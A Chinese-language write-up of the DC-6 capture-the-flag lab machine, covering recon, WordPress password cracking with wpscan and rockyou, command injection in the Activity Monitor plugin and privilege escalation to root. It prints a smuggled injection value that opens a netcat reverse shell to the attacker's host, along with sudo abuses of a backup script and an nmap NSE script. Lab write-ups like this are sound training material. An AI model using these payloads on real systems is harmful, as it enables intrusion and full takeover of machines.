DC-6靶机,内网渗透,提权,横向移动以及信息收集

DC-6靶机渗透测试报告

回顾

靶机安装

1. 信息收集

1.1 ARP-IP探测(确定靶机IP)

由于靶机部署在pnet网段,通过arp-scan扫描局域网设备,快速定位DC6靶机IP。

执行命令

1
arp-scan -l

结果:靶机IP确认为 192.168.173.129
(图1:arp-scan扫描结果,明确DC6靶机IP)

1.2 Nmap端口与系统探测

通过Nmap探测靶机开放端口、操作系统版本及服务信息,明确攻击入口。

1.2.1 基础端口探测

执行命令

1
nmap 192.168.173.129

结果:仅开放80端口(HTTP服务)
(图2:Nmap基础端口扫描结果,80端口开放)

1.2.2 系统与服务版本探测

执行命令

1
nmap -sV 192.168.173.129

结果:确认HTTP服务对应Apache,未直接暴露操作系统版本
(图3:Nmap -sV扫描结果,获取服务版本信息)

2. Web应用分析与漏洞利用

2.1 访问Web界面与Hosts配置

直接通过IP(192.168.173.129)访问Web界面报错,推测需绑定域名。

2.1.1 配置Hosts文件

修改本地Hosts文件(路径:C:\Windows\System32\drivers\etc\hosts),添加映射:

1
192.168.173.129 wordy

2.1.2 验证Web服务

访问http://wordy,确认页面正常加载,且通过Wappalyzer插件识别为WordPress框架
(图4:配置Hosts后成功访问Web界面)

(图5:Wappalyzer确认WordPress框架)

2.2 目录扫描与登录界面定位

使用御剑目录扫描工具,发现WordPress默认登录界面:http://wordy/wp-login.php
(图6:御剑扫描结果,定位wp-login.php登录页)

2.3 WordPress用户爆破(wpscan)

2.3.1 枚举潜在用户名

通过wpscan枚举WordPress后台用户,保存结果到UserDc6文件。

执行命令

1
wpscan --url http://wordy/ -e  # -e 枚举用户、插件、主题等信息

(图7:wpscan枚举到的潜在用户名)

2.3.2 密码爆破

使用Kali自带字典rockyou.txt(需先解压:gunzip -k /usr/share/wordlists/rockyou.txt.gz),对枚举的用户名进行爆破,耗时约10分钟。

执行命令

1
wpscan --url http://wordy/ -P /usr/share/wordlists/rockyou.txt -U UserDc6

爆破结果用户名=mark,密码=helpdesk01

2.4 命令执行漏洞利用(堆叠命令)

2.4.1 发现漏洞点

使用mark/helpdesk01登录WordPress后台,在Slider模块的Activity Monitor组件中,发现存在数据回传后端的功能,推测可注入堆叠命令。

(图8:Activity Monitor组件的命令注入点)

2.4.2 验证命令执行

抓包修改请求参数,注入whoami命令,成功返回当前用户(www-data),确认命令执行漏洞。

2.5 反弹Shell(NC监听)

2.5.1 本地监听端口

在Kali攻击机上监听6666端口,用于接收反弹的Shell。

执行命令

1
nc -lvp 6666  # -l:监听模式,-v:详细输出,-p:指定端口

(图9:Kali监听6666端口)

2.5.2 执行反弹命令

抓包注入NC反弹Shell命令,将靶机的/bin/bash反弹到Kali的192.168.173.130:6666

注入命令

1
baidu.com || nc -e /bin/bash 192.168.173.130 6666

(图10:抓包注入反弹Shell命令)

2.5.3 补全交互式终端

反弹Shell成功后,通过Python补全交互式终端,方便后续操作。

执行命令

1
python -c 'import pty;pty.spawn("/bin/bash")'

(图11:补全交互式终端)

3. 权限提升

3.1 横向移动(mark → graham)

/home/mark/stuff/things-to-do.txt文件中,发现graham用户的密码:

1
graham - GSo7isUM1D4

通过SSH登录graham用户(或直接在反弹Shell中切换:su graham,输入密码GSo7isUM1D4)。

3.2 横向移动(graham → jens)

3.2.1 发现提权线索

graham用户目录下无关键信息,但发现/home/jens/目录下存在backups.sh脚本,内容为:

1
2
#!/bin/bash
tar -czf backups.tar.gz /var/www/html # 压缩/var/www/html目录为备份文件

3.2.2 检查sudo权限

执行sudo -l查看graham的sudo配置,发现可免密以jens用户身份执行backups.sh脚本:

1
sudo -u jens ./backups.sh  # 无需输入密码

(图12:graham的sudo权限配置)

3.2.3 篡改脚本提权

backups.sh末尾添加/bin/bash(执行脚本时将生成jens权限的Shell):

1
echo "/bin/bash" >> /home/jens/backups.sh

执行脚本,切换为jens用户:

1
sudo -u jens ./backups.sh

(图13:执行脚本切换为jens用户)

3.3 纵向提权(jens → root)

3.3.1 发现nmap提权漏洞

jens用户执行sudo -l,发现可免密执行nmapNSE脚本(nmap的NSE脚本支持执行系统命令)。

3.3.2 编写NSE提权脚本

创建getshell.nse脚本,通过os.execute调用/bin/sh获取root权限:

1
echo 'os.execute("/bin/sh")' > getshell.nse

(图14:创建NSE提权脚本)

3.3.3 执行脚本获取root

通过sudo执行nmap,加载自定义NSE脚本,获取root权限:

1
sudo nmap --script=getshell.nse

4. 获取Flag

root权限下,在/root/目录找到theflag.txt,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# cat /root/theflag.txt

Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)


Congratulations!!!

Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.